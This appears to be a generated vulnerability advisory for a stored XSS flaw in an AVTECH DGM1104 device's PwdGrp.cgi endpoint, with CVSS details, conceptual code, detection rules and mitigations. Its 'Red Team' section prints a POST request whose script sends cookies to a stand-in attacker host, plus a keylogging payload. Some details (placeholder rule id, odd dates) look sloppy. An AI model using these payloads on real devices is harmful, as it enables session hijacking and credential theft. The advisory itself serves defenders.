CVE-2025-57202
Executive Summary
CVE-2025-57202 is a stored cross-site scripting (XSS) vulnerability in the AVTECH Security Corporation DGM1104 device, specifically within the PwdGrp.cgi endpoint. An attacker can inject arbitrary web scripts or HTML by crafting a malicious payload into the username field. This vulnerability is unpatched and poses a significant risk to the confidentiality and integrity of affected systems, as it can lead to session hijacking, credential theft, and further compromise of the device.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a firmware-level issue in an embedded device (DGM1104). No supply chain package security implications are present.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base) but estimated at 6.1 (Medium) based on vector.
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit the malicious page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation is straightforward, but requires user interaction. The impact is limited to stored XSS within the device's web interface.
Deep Dive & Mechanics
The vulnerability resides in the PwdGrp.cgi endpoint of the AVTECH DGM1104 firmware (FullImg-1015-1004-1006-1003). The endpoint processes user input for the username field without proper sanitization or output encoding. When an attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) as the username, the payload is stored in the device's configuration. Subsequently, when an administrator or user views the user management page, the payload executes in the context of the victim's browser.
The root cause is a lack of input validation and output encoding. The device does not escape HTML entities or strip script tags before storing or displaying the username. This allows persistent XSS, meaning the malicious script remains active until manually removed.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// PwdGrp.cgi - vulnerable endpoint
void handle_pwdgrp() {
char username[256];
get_param("username", username);
// No sanitization
store_user(username);
// Later, when displaying:
printf("<td>%s</td>", username); // XSS
}
Patched Code (Conceptual):
// PwdGrp.cgi - patched endpoint
void handle_pwdgrp() {
char username[256];
get_param("username", username);
// Sanitize input
sanitize_html(username);
store_user(username);
// Output encoding
char escaped[512];
html_escape(username, escaped);
printf("<td>%s</td>", escaped);
}
The patch would involve implementing HTML entity encoding (e.g., < for <) and rejecting or stripping script tags. Since no official patch is available, users must apply manual mitigations.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the AVTECH DGM1104 web interface (e.g., http://192.168.1.100/cgi-bin/PwdGrp.cgi)
- Ability to send POST requests with a crafted username parameter.
Exploit Steps:
- Identify the target device's IP and ensure the web interface is accessible.
- Send a POST request to
/cgi-bin/PwdGrp.cgiwith a malicious username payload:POST /cgi-bin/PwdGrp.cgi HTTP/1.1 Host: 192.168.1.100 Content-Type: application/x-www-form-urlencoded username=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&action=add - The payload is stored. When an admin views the user list, the script executes, exfiltrating cookies to the attacker's server.
Alternative Payload (Keylogging):
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/keylog?key=' + e.key);
}
</script>
Blue Team
Detection:
- Monitor HTTP requests to
/cgi-bin/PwdGrp.cgifor unusual username parameters containing<script>,onerror, or other HTML/JavaScript patterns. - Use web application firewalls (WAF) to block payloads with script tags.
- Regularly audit the user list for suspicious usernames.
Mitigation:
- Disable the web interface if not needed.
- Restrict access to the device's management interface via firewall rules (allow only trusted IPs).
- Apply input validation at the network level (e.g., reverse proxy with mod_security).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/cgi-bin/PwdGrp.cgiwithusernameparameter containing<script>oronerrorattributes. - Outbound connections from the device to attacker-controlled domains (e.g.,
attacker.com).
- HTTP POST requests to
- Host IOCs:
- Presence of JavaScript payloads in the device's user configuration (accessible via web interface).
- Unexpected cookies or session tokens in logs.
- File IOCs:
- Modified configuration files (e.g.,
/etc/config/users.conf) containing script tags.
- Modified configuration files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_57202_Stored_XSS {
meta:
description = "Detects stored XSS payloads in AVTECH DGM1104 username fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57202"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in AVTECH DGM1104 PwdGrp.cgi
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to PwdGrp.cgi with malicious username payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/PwdGrp.cgi'
cs-uri-query|contains: 'username='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate usernames containing 'script' (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57202 Stored XSS in AVTECH DGM1104 PwdGrp.cgi"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/PwdGrp.cgi"; http_uri; content:"username="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device from untrusted networks (e.g., place behind a VPN or firewall).
- Disable the web management interface if not required.
- Manually review and remove any suspicious usernames from the device's user list.
Long-term Fix:
- Contact AVTECH Security Corporation for an official firmware patch.
- If no patch is available, consider replacing the device with a supported alternative.
Compensating Controls:
- Deploy a web application firewall (WAF) with rules to block XSS payloads.
- Implement network segmentation to limit exposure.
- Enable logging and monitoring for anomalous HTTP requests.
User Awareness:
- Train administrators to avoid clicking on untrusted links or entering credentials on suspicious pages.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert